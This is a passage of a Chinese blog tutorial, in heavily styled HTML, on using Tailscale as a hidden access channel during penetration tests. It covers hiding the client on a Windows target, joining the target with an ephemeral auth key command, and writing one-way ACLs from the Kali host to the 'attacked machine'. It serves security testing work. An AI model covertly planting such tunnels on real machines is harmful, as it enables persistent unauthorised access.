14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来继续启动tailscale.exe 使用up命令启动，发现没有出现报错。tailscaled也在其中产生了一些连接的日志。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13665158371040723" title="null" data-type="png" data-w="1105" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b58812a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rb20ZPkQ8x8IvicmD5UGdWA4J0OsHfPe6LLSR9LuNBKofyICXt0e5ZkJA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同时右下角没有出现小图标。隐蔽性的问题初步解决了。当利用命令行启动的时候会出现一个问题，此时的账户是没有登录的，也就是没有接入到虚拟局域网中，而正常的登录又需要打开浏览器登录，这也是下面要解决的问题。</p><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">登录问题的解决</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过阅读官网提供的文档，发现官方提供了Auth keys的功能，通过使用生成的Auth keys可以直接将目标主机接入到该虚拟局域网中。这样就避免了利用浏览器登录的问题。而可以直接使用命令进行登录。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.8336472065285625" title="null" data-type="png" data-w="1593" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=db3009d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rb5n9d49oicqEQ0kWU9BVaWuB4icPvO8qxHwbGyCiam43On1ga6zJZYdibmQ%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="font-size: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">生成Auth keys</h4><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">进入Settings标签，点击Generate auth key</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.525764192139738" title="null" data-type="png" data-w="2290" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=94bac365&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbVo35R82svwQicyGAsS85rPaIVSkZPv7GdlvcEnOuMRYTQqstz7Apictg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">进入生成Auth Key 页面，其中有一些内容可以进行设置</p><section style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;padding: 0px 8px;"><table><thead style="text-align: left;line-height: 1.75;background: rgba(0, 0, 0, 0.05);font-weight: bold;color: rgb(63, 63, 63);"><tr><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">标识</td><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">内容</td></tr></thead><tbody><tr><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Reusable</td><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Key是否允许重复使用</td></tr><tr><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Expiration</td><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Key过期的时间</td></tr><tr><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Ephemeral</td><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">临时的设备，即设备如果离线，则从这个虚拟局域网中删除该设备</td></tr><tr><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Tags</td><td style="text-align: justify;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">标签用作标识一般配合ACL 策略表使用</td></tr></tbody></table></section><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6841234840132304" title="null" data-type="png" data-w="1814" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=21bc040f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbcb6RDLHa9Q2MIxLpzIic7Xmm036Lm8xFXkVS8Me1nxkuibia4ibcl5lUgg%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.39899272523782875" title="null" data-type="png" data-w="1787" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3ab2e8f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbzYRXpft16KEClF32YuMYnMrobiaW1ualQybJVZufUeWPAXj0ia0jOrXQ%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="font-size: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">利用Auth key注册机器</h4><p style="text-align: justify;"><code style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">sudo tailscale up --authkey [authkey]</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"></span></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.056635202665186006" title="null" data-type="png" data-w="1801" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=08f6ed03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbnxChyRqSbicAmd9olwOicGxBzR7zM15rI4skAQtKr0rQ2y0eYg17zuIg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">设备成功上线，因为我这里的authkey设置了Ephemeral选项，所以下面可以看到会存在一个Ephemeral的标签。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3558139534883721" title="null" data-type="png" data-w="2150" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f69ee030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbWKYbX8Gh1kJic8daJzE2MhhUvhHD5txAV6icVQIA9VpHnr0iagic19ga0g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">到这里登录的问题就被解决了。</p><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">权限控制问题的解决</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">由于Taliscale用于多地组网，所以他们之间的关系是相互的，当他与一个设备进行连接的时候，他们之间可以进行相互通信。所以需要让他们仅能由网络测试人员发起请求，被攻击的机器不能向发起请求。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过查看文档，发现官方为这个问题提供了ACL策略表，通过这个表，我们可以为每台设备制定不同的访问策略。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.9060585432266848" title="null" data-type="png" data-w="1469" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cd709fc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbgraqvJiaNBmGsKLf4wWWebX0zrGvBTc6uFq45b2r6UibeYF4icBR1yEPw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里我们简单进行一下设置，如果需要建立更复杂的ACL策略可以参考官方文档。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">建立策略：允许kali(100.127.21.76)访问windows(100.91.46.163)，但是不允许从windows访问kali主机。</p><h4 style="font-size: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">ACLS设置</h4><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">点击Access controls 标签，acls列表中的意思是允许所有用户访问所有主机的所有端口。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7539417104634496" title="null" data-type="png" data-w="2093" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5fa8fc3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbMEJG5acKUKVKepJQtic7SXzWbicfsWdsq2RoYWPu02tVHWcOLppJ6vvg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里我们设置一条策略，允许所有用户访问Windows的ip以及它的所有端口，当点击保存时，这个策略会实时生效。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica 